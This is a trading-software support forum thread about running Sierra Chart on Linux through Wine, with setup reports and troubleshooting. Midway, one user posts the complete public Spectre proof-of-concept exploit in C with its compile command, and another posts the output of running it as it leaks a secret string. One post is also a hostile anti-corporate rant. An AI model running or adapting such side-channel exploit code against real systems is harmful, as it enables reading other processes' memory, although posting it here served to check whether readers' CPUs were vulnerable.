Login Page - Create Account

Support Board


Date/Time: Tue, 04 Aug 2020 17:49:49 +0000



[User Discussion] - Linux

[2017-10-09 16:49:42]
ertrader - Posts: 304 | Ending Date: 2020-09-21
I'm considering migrating to Mint Linux (or other linux version if you recommend). Can you please let me know your latest recommendations? Wine version, version, SC version, SC Settings and anything you can think of.

(MS continues to fix, break, fix, break and after so many years Win 10 does not seem any better)
[2017-10-09 17:15:10]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
We cannot make any recommendations. We will leave this to others.

We also recommend avoiding using Wine. You will have problems with that.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2017-10-09 21:12:36]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ertrader

I'm considering migrating to Mint Linux

dude ... just stop dreaming you are cool hacker and be more realistic

if you are using SC you are just a user as mouse operator

.Net Core is crossplaftorm and open-source

transfer all of your systems to .Net Core and use linux as a macho

(.Net Core will be ready for production in 3 years or so)

don't waste the time using harness for a car :)
[2017-10-09 21:21:45]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ertrader

after so many years Win 10 does not seem any better

Win 7 is the best choise till 2020

or try windoze server 2008 r2 for free 240 days
https://www.microsoft.com/en-us/download/details.aspx?id=11093
Date Time Of Last Edit: 2017-10-09 21:22:31
[2017-10-09 21:45:04]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
Windows server 2008 R2 is good.

Much preferred over version 2012 which Microsoft has basically botched the server operating system.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2017-10-09 22:18:06]
Kiwi - Posts: 285 | Ending Date: 2019-10-03 [Expired]
Jeez Guys. Stop being pessimists.

Sierra Chart runs fine on Wine on Linux Mint. I haven't had a bug in years.

ertrader, I just run a current version of SC (1615 when I last looked), the most recent Mint (but it will work fine on any of them), but I do use an ubuntu ppa to ensure that I have the most current version of Wine. SC/Wine used to be a bit of a processor hog at around 10% but recent changes in one or both have dropped it to the 1% level for my charts.

Wine is where the rubber meets the road so I use 2.4 rather than 1.8 which is default for Mint 18. 1.8 may actually be enough now, but I got into the habit of having the latest wine because of an issue a couple of years back and haven't bothered dropping back.

The only downside was compiling dlls and keeping that working. But now the Sierra Chart team have provided a remote compiler option ... and you just press the button and wait a few seconds for the dll to be deposited in your data directory. Cool.
Date Time Of Last Edit: 2017-10-09 22:19:51
[2017-10-09 22:19:50]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ertrader

in case you find my words unkind a bit: then just use linux as a linux not as windoze one

try arch linux or lfs in order to find out what that linux really is

then use wine-staging and check CPU usage on chart scrolling and so on.

compare it to that "buggy" windoze :)

another point is linux video subsystem that there is no stable and officcial support from nvidia nor amd. it is always in beta stage or as a closed blobs

another pain is 4k screens and multi-monitor configs

high end MB and optimus will not work coorectly and stable

i love to use linux since 1995-96 but it is not the time to say it is ready for retail
[2017-10-09 22:25:27]
Kiwi - Posts: 285 | Ending Date: 2019-10-03 [Expired]
Just a note on ganz's arch post.

I'd suggest Mint is a better choice for you initial live system. Play with arch, learn stuff. But for live use something boring like Mint :)

On screens I have an Nvidia card so use their drivers for multi-monitor but I don't yet have 4K screens (default in linux is to use os drivers but they can be tricky). I'd forgotten about graphics card drivers - they've always been the trickiest thing for me so when I do a new install I install with 1 screen. Then I add the NVIDIA drivers. Then I boot with multiple screens and adjust everything. At that point I save my "bare" os image and continue to add other software.
[2017-10-09 22:43:56]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Thank you... this helps! I will get mint installed and update with my experience using latest Wine. Current configuration is AMD video but I'm not needing 4k or multiple screens at this time. I'll look into remote compiling and most likely change over to this method with my custom ACSIL's.
[2017-10-09 22:50:13]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Kiwi

Stop being pessimists.

OK. Let's start party :)

https://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-Dropping-Unity

they've always been the trickiest thing

https://www.youtube.com/watch?v=_36yNWw_07g

:)
[2017-10-09 22:52:15]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ertrader

I'll look into remote compiling

let's be the linuxoids then

https://www.sierrachart.com/SupportBoard.php?ThreadID=1229
[2017-10-10 08:17:11]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
well, if i can give my feedback:

Gentoo, Arch and openSUSE work well right, have wine and cross dev tools ( gentoo will be a pain in the ass for crossdev ).

Right now the combination of wine 2.18 and freetype 2.18.1 are giving me problems with antialiased fonts, but other than that, works well.

Also no issues with performance with wine, wine-staging or wine-staging-nine. Checking my cpu they are most of the time below 10% ( real core utilization, not dividing by cpu numbers ), only when there is alot of action it goes to 20% or so. Also charts are fast, and i have 2560x1440 maximized charts.

The real waste is that you will have a wine thread running, in which in windows you don't. So compare to using SC on linux , the same as windows + wine server thread expenses.

About SC bugs on Linux, there is the famous and really pitty tradewindow bug, other than that, works very well.

Also you can customize your wine colours to make SC like almost native app.

Also since sierra charts allow to customize the charts titlebars, means that with a window manager like kwin, you can do whatever you dream of with the windows ( just launch SC and they go to the right place at the right size always ).

For ACSIL development, you have visual studio code, atom editor, kate, geany, etc ... my favorite is qt creator.
[2017-10-10 14:15:20]
ertrader - Posts: 304 | Ending Date: 2020-09-21
"About SC bugs on Linux, there is the famous and really pitty tradewindow bug, other than that, works very well"

Can you please speak to this a bit more?
[2017-10-10 16:21:49]
AlexPereira - Posts: 164 | Ending Date: 2020-04-26 [Expired]
"About SC bugs on Linux, there is the famous and really pitty tradewindow bug, other than that, works very well"

Can you please speak to this a bit more?

Its a bug that if you have a tradewindow and close it, SC will give an exception error on the message log ( also trading will not work properly until you restart SC or close and open the chartbook ). Else it works fine....
[2017-10-10 17:29:32]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Thanks... I do not usually close the trade window but I do attach it to the right hand side of the screen so I'll test that configuration.
[2017-10-10 17:29:51]
User35525 - Posts: 149 | Ending Date: 2020-11-30
I don't think I've seen the tradewindow bug in Wine on MacOS [or I forget... I know I've seen issues with attaching a trade window to a chart, but you just restart SC if there's a problem in Wine].

So if you have a Mac, Wine is still a great option. It seems quite a few people are using SC with Wine on Linux and MacOS, so I'm glad we have SC.
[2017-10-10 21:41:00]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Kiwi

Mint is a better choice for you initial live system

sir, with all of my respect to you

from my pov in terms of qualified engineering solutions a system should be stable, predictable and well managed

a system is so good as good an every member that chain
and a system is so weak as weak any worst member that chain

so using Wine as a main trading tool an one makes justified by none and an unwise step

imho :)

with best regards
Date Time Of Last Edit: 2017-10-10 21:54:58
[2017-10-14 22:28:37]
Kiwi - Posts: 285 | Ending Date: 2019-10-03 [Expired]
Your humility is noted :)

I've been using Wine with Sierra Chart since 2013 and it hasn't given me any problems. Sure I've had an issue picking fonts and with a difference in chart edges but they never impacted trading or charting really and even they've been gone for the last year.

So, pick a boring, stable, but likeable Linux. Then wine + sc should give a good experience.

I would always recommend back up in trading though. First, know how to use your broker's tech to shut down a trade if SC/Wine died (ie, how do I exit a position with TWS). Second, have their number written down so that if your system or the internet dies you can call and close positions.
Date Time Of Last Edit: 2017-10-14 22:29:31
[2017-10-17 21:38:53]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
Kiwi

Last twenty years it wasn't possible to explain to windows users what exactly linux was

They all trying to use linux as some kind of Windoze

Even devs are ill of that issue to try build yet another a la windoze shell

And they are fail all that time

It may makes you smile but this is something that makes Linux as a fail Desktop at all for decades

These wrong advices provides an unstable and incomplete solutions to users to make them sure the windoze was the better choise
[2017-10-17 21:58:15]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ertrader

In case IB is on the table you may want to try MacOS and Investor/RT.
[2017-10-18 01:08:06]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Thanks ganz... but ALL Apple solutions in any form are not part of any aspect of my life. I'll keep on with linux testing for now.
[2017-10-18 09:41:11]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
When we say they have botched server 2012, it means the following and numerous other items:

- When accessing it over Remote Desktop, it is sluggish and not responsive for the first 30 seconds or so, if there are many programs running. Totally different from the perfectly fine responsiveness of 2008. And this is consistent across many 2012 server installations, and not just isolated.
- There is this ridiculous start menu that takes up an entire screen.
- There is this ridiculous charms bar. This is supposed to be a server operating system. Not some experimental desktop full of all kinds of nonsense.
- Cannot run separate time synchronization utility. The time synchronization that it offers, is not as trustworthy for various reasons.
- There are conditions where Windows updates will automatically install, even though we have disabled that. In other words, Windows automatic updates turns back on under certain conditions.
- Loss of the ability to configure color and font settings in the same way on 2008. Very frustrating.
-When it comes to overall execution performance, it is hard to say if it is worse than 2008 but there are indications at times that it is.

Numerous other items which do not come to mind at the moment.

Also take Visual C++ 2017. They have completely screwed that up. We use a touchscreen, and it is not even touchscreen functional anymore. Even menus randomly stop functioning at times. They replace a perfectly fine scrollbar with this tiny barely able to interact with scrollbar in the text editor. Settings randomly change. Various stability problems. They have screwed up Visual C++ so much.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2017-10-18 18:24:30
[2017-10-28 02:35:50]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Update on my experiences moving to Linux:

Linux Mint 18.2 purchased CD and installed. Did not really need to purchase CD for 5.95 as it is free to download and burn a CD/DVD but it was convenient while I was traveling to have it ready when home. Installation went smoothly.
Hardware: (Yes I know old but want to see how Linux performs)
8 Gig memory
1 TB SSD
Nvidia GT440
Intel Core 2 CPU 6420 @ 2.13 GHZ


1) Mint Linux 18.2 working OK. Hangs on screensaver for some reason. Have turned it off for now. Investigating.
2) SC installed and running V 1630 using Wine 2.0.3.
3) SC ability to drag tabs not working for some reason. Cannot drag tabs and move.
4) Windows Version of Standalone Interactive Brokers installed and working. Yes I know they have Linux version but SC needs to connect via Windows Standalone IB (at least that is my understanding and experience)
5) TWSStart for auto re-logging is not working. Investigating
6) SC Remote compiling works well using my custom studies
7) SC and IB Performance seems good. On old hardware, Linux seems to eliminate all the windows baggage...maybe just placebo effect. Will look for objective performance metrics and comparisons.

More to come as I get use to OS and Windows differences. I'm a newbie Linux user but I really want this to work. I am so fed up with Microsoft and Mac OS never an option.

Best regards
Date Time Of Last Edit: 2017-10-28 02:41:43
[2017-10-28 02:45:42]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
We are extremely fed up with Microsoft as well, you will not believe the level of problems we have with Visual Studio including preventing two of our systems from starting up and requiring either reinstalling the OS, or correction of the startup files.
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
Date Time Of Last Edit: 2017-10-28 04:10:22
[2017-10-28 02:54:28]
ertrader - Posts: 304 | Ending Date: 2020-09-21
On my production trading computer, I had to do full reinstall to get working after "creator" update. I frankly cannot imagine the issues MS must pose for SC! Please keep up the fight to make SC as independent as possible from anything MS related.
[2017-10-31 13:21:12]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
fyi: https://www.youtube.com/watch?v=AokFgDSLMWU
Date Time Of Last Edit: 2017-10-31 13:21:30
[2017-10-31 18:04:25]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ertrader
I'm a newbie Linux user but I really want this to work.

https://www.techrepublic.com/article/how-to-use-a-ramdisk-on-linux/

http://www.thegeekstuff.com/2010/10/linux-ln-command-examples/

https://wiki.winehq.org/FAQ#Wineprefixes
[2017-10-31 22:29:14]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
ertrader

fyi: https://www.sierrachart.com/SupportBoard.php?ThreadID=4225#P130903
[2017-11-03 21:29:51]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Thank you.
Below are my latest updates. At this point, all issues have been resolved either with simple workarounds or use of alternate solutions.

1) Mint Linux 18.2 working better than expected. Have now installed it on a laptop completely replacing windows (for a non-SC user and feedback is great!)
2) Installed 64 bit Linux version of latest Interactive Brokers standalone software 963.3k. To my surprise, Sierrachart connects to it, downloads data and sends orders! I had spent time installing and testing Windows IB version because I thought SC would need to connect via windows software.
3) Wine 2.0.3 graphics seems to work better than Crossover for Sierrachart. SC works well with both Crossover and Wine 2.0.3
4) TWSStart is an important IB utility for me to restart IB after IB autologs off daily. TWSStart does not work properly with Linux. I contacted the author and he confirmed after testing. He is also considering moving completely to Linux. IBController was recommended and this is what I moved to. It took some doing but is working.
5) Screensave hanging issue was due to driver. Updated to latest Nvidia driver 384.9

Summary to date:
1) To run SC, Wine 2.0.3 works well. Crossover works well too but is not really needed.
2) Use IB TWS 64 Bit Linux version. Windows version works well but is not needed.
3) Use IBController instead of TWSStart if keeping logged into IB is needed
4) For remote control, Teamviewer is working best. Use latest security recommendations.
5) In SC, workaround for mouse left direction drag and drop not working, use ctrl-w and move charts as needed . SC Right direction drag and drop works

CPU usage is higher than on Windows: Wineserver: 24%, Sierrachart: 24%
Date Time Of Last Edit: 2017-11-04 14:36:37
[2017-11-07 01:27:56]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Here is the latest motivation for Linux:
https://www.windowscentral.com/windows-10-fall-creators-update-common-installation-problems-and-fixes
[2017-11-24 00:54:51]
ertrader - Posts: 304 | Ending Date: 2020-09-21
A few updates:
Move to Linux is still progressing. Unfortunately, I've found 1 very annoying issue that has no work around that I have been able to find. Resizing regions using a mouse is not working. Usually, once a study is added, you click and drag a region bigger or smaller (vertically) by selecting the top edge of the region.

I've looked for a menu option to resize but using a mouse appears to be the only way to resize. If there is another way, please update this thread.
[2017-11-24 01:57:54]
Sierra Chart Engineering - Posts: 88303 | Ending Date: 2021-04-05
Try using this method documented here:
https://www.sierrachart.com/index.php?page=doc/Tools.html#AdjustRegions

Or this method here:
https://www.sierrachart.com/index.php?page=doc/WorkingWithCharts.html#ChartWindowandRegions
Sierra Chart Support - Engineering Level

Your definitive source for support. Other responses are from users. If possible please keep your questions brief and to the point. Please be aware of support policy:
https://www.sierrachart.com/index.php?l=PostingInformation.php#GeneralInformation

If your question/request has been answered and you do not have anything further, then it is easiest for us if you do not reply again to say thank you.
[2017-11-24 03:12:28]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Yes... thank you works perfectly!
[2017-11-29 15:18:51]
ertrader - Posts: 304 | Ending Date: 2020-09-21
For my production system, below is an explanation of issues and solutions that helped me get through installing Linux. These are not SC related but did slow me down for getting SC up and running in production. There are commercial solutions to solving the problems below but I did not want to purchase them due to cost and prior issues.

Issue 1:
Background: A partition is needed to install Linux. Normally this is done by shrinking the windows partition which provides room for installing Linux.
Issue: Windows 10 pro would not make enough room for Linux despite having 200 gig free. Windows puts hibernation, swap and other system files at the end of the volume. When you attempt to make a partition, if the files are present, you cannot shrink.
Solution: Disable kernel memory dump, hibernation and set page file to zero. Reboot, shrink partition and you are good to go. See the links below for details.

Issue 2:
Background: Windows supports a maximum of 4 partitions on the MBR (Master boot record). This is a legacy partition type.
Issue: There were already 4 partitions in the MBR and I did not want to completely wipe windows and all my files
Solution: 2 of the partitions were identified as recovery partitions. I did not need them and so could remove them (I have a recover CD and regularly back up). For windows computers, diskpart is used to remove partitions and this is what I used. After removing the partitions, Linux installation proceeded without any problems.

Helpful links:
https://answers.microsoft.com/en-us/windows/forum/windows_10-performance/windows-disk-management-unable-to-shrink-c-drive/217c3521-b254-4662-bac9-bc90dc633fab?auth=1
https://www.youtube.com/watch?v=sasa-ZGrYzY
https://helpdeskgeek.com/how-to/diskpart-windows-how-to-use/

Additional updates:
1) Mint Linux 18.2 has been updated to 18.3 with no issues
2) A newer AMD video card is on my production system and is working exceptionally well under Linux.
Date Time Of Last Edit: 2017-11-29 15:27:56
[2018-01-03 15:28:38]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
fyi:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5aa90a84589282b87666f92b6c3c917c8080a9bf

https://patchwork.kernel.org/patch/10117465/

This will significantly slow down LDT users, but that shouldn't matter for
important workloads -- the LDT is only used by DOSEMU(2), Wine, and very
old libc implementations.

[2018-01-04 22:21:15]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
check your CPU :)

https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6
[2018-01-04 22:30:22]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
this one works for me


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];

char * secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;

for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {

/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i]); /* intrinsic for clflush instruction */

/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));

/* Call the victim! */
victim_function(x);

}

/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
_mm_mfence();
time1 = __rdtsc(); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
_mm_mfence();
time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}

/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}

int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];

for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}

printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}

$ gcc -std=c99 -march=native -O0 spectre.c -o spectre
Date Time Of Last Edit: 2018-01-04 22:33:12
[2018-01-05 00:21:02]
user8888 - Posts: 106 | Ending Date: 2020-08-31
Worked fine inside a Linux VM.
very interesting, thanks much ganz



$ lscpu | grep "Model name"
Model name: Intel(R) Xeon(R) CPU E3-1246 v3 @ 3.50GHz

$ gcc -std=c99 -march=native -O0 spectre.c -o spectre

$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54='T' score=2
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D='M' score=2
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63='c' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57='W' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F='o' score=2
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72='r' score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64='d' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73='s' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53='S' score=2
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0x71='q' score=2
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75='u' score=2
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0x65='e' score=2
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D='m' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69='i' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee14... Success: 0x68='h' score=2
Reading at malicious_x = 0xffffffffffdfee15... Success: 0x20=' ' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x4F='O' score=2
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73='s' score=2
Reading at malicious_x = 0xffffffffffdfee19... Success: 0x69='i' score=2
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0x66='f' score=2
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x72='r' score=2
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61='a' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67='g' score=2
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0x65='e' score=7 (second best: 0x00 score=1)
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x2E='.' score=2

$
Date Time Of Last Edit: 2018-01-05 00:33:49
[2018-01-05 08:37:59]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
This will significantly slow down LDT users, but that shouldn't matter for
important workloads -- the LDT is only used by DOSEMU(2), Wine, and very
old libc implementations.
I just have checked on Debian 9 (4.9.65-3+deb9u2 x86) using wine 2.0.4 and didn't see a significant performance penalty at this moment

ps: https://security-tracker.debian.org/tracker/CVE-2017-5754
[2018-01-05 16:35:48]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
I just have checked on Debian 9 (4.9.65-3+deb9u2 x86) using wine 2.0.4 and didn't see a significant performance penalty at this moment
Tested on x86_64. The same result. Nothing new for SC in my tests.
[2018-01-06 07:38:23]
user8888 - Posts: 106 | Ending Date: 2020-08-31
'Wine Takes Minor Performance Hit Running Windows Programs On Linux With KPTI'

https://www.phoronix.com/scan.php?page=article&item=linux-kpti-wine&num=1
[2018-01-06 10:08:05]
mountainwolf - Posts: 37 | Ending Date: 2018-06-03 [Expired]
Of course native ELF
code would be the best.

In the meantime SC
runs fairly fine under WiNE,
unfort with high cpu time usage.

Try VirtBox or Xxen or other
hypervisor, cputimewise better.

And last but not least,
Nevermind it's better in
pretty much any respect
(& how could it be otherwise)
one runs LiGNUx by Moral Choice..

These are corporations of monsters.
Inhumane at heart, eVIL in mind.
They do not mind prosecuting best
white & fluffy intellectual iT Elite
with cannibalish criminal justice
or injustice system for profit..

if they never yet tried
to convict you of a felony
& destroy anything for
'unlicensed software',
as they did to me,
consider yourself
to be lucky?

https://youtu.be/yAslGCIHjNk?t=12m10s
https://www.youtube.com/watch?v=eginMQBWII4
https://www.gnu.org/philosophy/copyright-versus-community.en.html

these evil corps
& alike who
foster such crimes
against humanity &
breed this ciVIL wAR
deserve only to be
annihilated from
the face of this
so beautiful & so
wasted planet,
forever & ever,
amen..
Date Time Of Last Edit: 2018-01-06 13:21:53
[2018-01-06 14:23:23]
ganz - Posts: 974 | Ending Date: 2019-04-28 [Expired]
mountainwolf
you've said nothing. remove your spam, please.
thnx.
[2018-01-23 07:53:50]
Kiwi - Posts: 285 | Ending Date: 2019-10-03 [Expired]
Just updated my Mint 18.3 system to Wine 3.0 (winehq release). Seems good.
[2018-01-23 11:51:30]
ertrader - Posts: 304 | Ending Date: 2020-09-21
I did the same and have no issues
[2018-01-24 22:39:07]
User677924 - Posts: 24 | Ending Date: 2020-08-31
I just tried on Arch-Linux LXDE desktop works without sweat. Install Wine first then (a) download .exe to local folder. (b) Right mouse click "open with wine programloader". (c) will install in default location. (d) Creates icon on desktop. (e) Click the desktop icon and Sierra platform is up. I will attach screenshot for others.
I do use win 7.0. Performance wise Sierra in Linux is little bit faster than Windows. But Win 7.0 is pretty much stable
imageScreenshot from 2018-01-24 16-22-42.png / V - Attached On 2018-01-24 22:36:39 UTC - Size: 1018.55 KB - 591 views
[2018-03-12 17:54:05]
ertrader - Posts: 304 | Ending Date: 2020-09-21
A few Linux updates:
1)Mint Linux 18.3 and Wine 3.0 working very well for me (performance, stability etc)
2)Updated to SC 1716 64 bit with recompiled custom studies and had no issues

An AMD graphics anomaly with SC seems to be resolved with 64 bit (garbled/overlapping screens after 3 or so hours). In 32 bit, an SC restart was needed to clear. I will continue to watch.

No known new issues. The click and drag tab and click and drag region issues are still present but ctrl-w for arranging tabs and alt-0 for resizing regions methods work fine.
Date Time Of Last Edit: 2018-03-12 18:05:37
[2018-07-02 05:20:17]
User106072 - Posts: 98 | Ending Date: 2020-08-31
FYI
Latest 64b Lubuntu 18.04 (https://lubuntu.net/) with Wine (https://www.winehq.org/) + corefonts (https://wiki.winehq.org/Winetricks) works just fine in my 5y old HP AMD laptop. Wine gives some overhead but it's only +2..3% compared to Windows 10.

btw. Sierra has been the reason why I am still using Windows 10 in my multi monitor desktop workstation and now planning to switch Linux over there too.

Linux is just so much less hassle with forced updates and other suspicious network activity. Everything is configurable and can be turned on or off. Lubuntu is also very lightweight OS leaving resources for the productivity (specially RAM). With wine and mono I still have an option to run windows apps if it is absolutely necessary. In my case thanks to libreoffice (https://www.libreoffice.org/) I don't have any other reason than Sierra why to use windows apps anymore.
Date Time Of Last Edit: 2018-07-29 08:18:49
[2018-07-28 14:00:27]
ertrader - Posts: 304 | Ending Date: 2020-09-21
Great to hear!
A few updates:
1) Update to Mint Linux 19 went without any issues. Performance still excellent.
2) Due to 3X margin requirements on IB IRA accounts, I've moved to FuturePath Trading. They work with ADMIS and I've moved to SC's CTS configuration. This also eliminated the need for an additional application running on my PC (TWS) TWS Linux worked fine but others (TT, Rithmic) were not playing as nice with Linux. The CTS configuration completely eliminates the need for them and is working perfectly.
3) Click and drag is working now
4) Using SC 1781 64 bit. No compiling issues
5) I use Libreoffice as well and is an EXCELLENT office package

https://www.sierrachart.com/index.php?page=doc/CTS_T4.php#SetupInstructionsForAdvancedLowCostConnectionModel

